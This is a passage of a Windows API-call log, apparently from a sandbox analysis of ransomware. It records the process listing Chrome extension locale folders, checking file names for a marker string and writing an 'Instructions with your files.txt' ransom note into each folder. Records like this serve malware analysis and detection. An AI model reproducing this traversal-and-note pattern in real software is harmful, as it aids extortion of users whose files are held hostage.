[0129.982] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.982] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.982] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.982] CloseHandle (hObject=0x134) returned 1
[0129.982] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.982] GetProcessHeap () returned 0x810000
[0129.982] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.982] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cc540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827cc540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0129.982] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru") returned 145
[0129.982] GetProcessHeap () returned 0x810000
[0129.982] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.982] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*") returned 147
[0129.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cc540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827cc540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.987] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\.") returned 147
[0129.987] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cc540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827cc540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.987] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\..") returned 148
[0129.987] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827cc540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cec50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.987] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 159
[0129.987] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.987] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827cc540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cec50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.987] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\Instructions with your files.txt") returned 178
[0129.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.988] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.988] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.989] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.989] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.989] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.989] CloseHandle (hObject=0x134) returned 1
[0129.989] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.989] GetProcessHeap () returned 0x810000
[0129.989] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.989] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e72f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827e72f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0129.989] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk") returned 145
[0129.989] GetProcessHeap () returned 0x810000
[0129.989] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.989] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*") returned 147
[0129.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e72f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827e72f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.989] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\.") returned 147
[0129.990] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e72f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827e72f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.990] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\..") returned 148
[0129.990] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827e72f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e9a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.990] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 159
[0129.990] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.990] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827e72f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827e9a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.990] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\Instructions with your files.txt") returned 178
[0129.990] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.990] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.991] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.991] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.991] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.991] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.991] CloseHandle (hObject=0x134) returned 1
[0129.991] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.992] GetProcessHeap () returned 0x810000
[0129.992] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.992] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fab70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827fab70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0129.992] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl") returned 145
[0129.992] GetProcessHeap () returned 0x810000
[0129.992] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.992] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*") returned 147
[0129.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fab70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827fab70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.993] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\.") returned 147
[0129.993] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fab70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827fab70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.993] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\..") returned 148
[0129.993] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827fab70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fd280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.993] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 159
[0129.993] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.993] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827fab70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fd280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.993] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\Instructions with your files.txt") returned 178
[0129.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.994] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.994] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.995] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.995] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.995] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.995] CloseHandle (hObject=0x134) returned 1
[0129.995] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.995] GetProcessHeap () returned 0x810000
[0129.995] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.995] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8280e3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8280e3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0129.995] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr") returned 145
[0129.995] GetProcessHeap () returned 0x810000
[0129.995] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.995] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*") returned 147
[0129.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8280e3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8280e3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.995] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\.") returned 147
[0129.995] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8280e3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8280e3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.996] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\..") returned 148
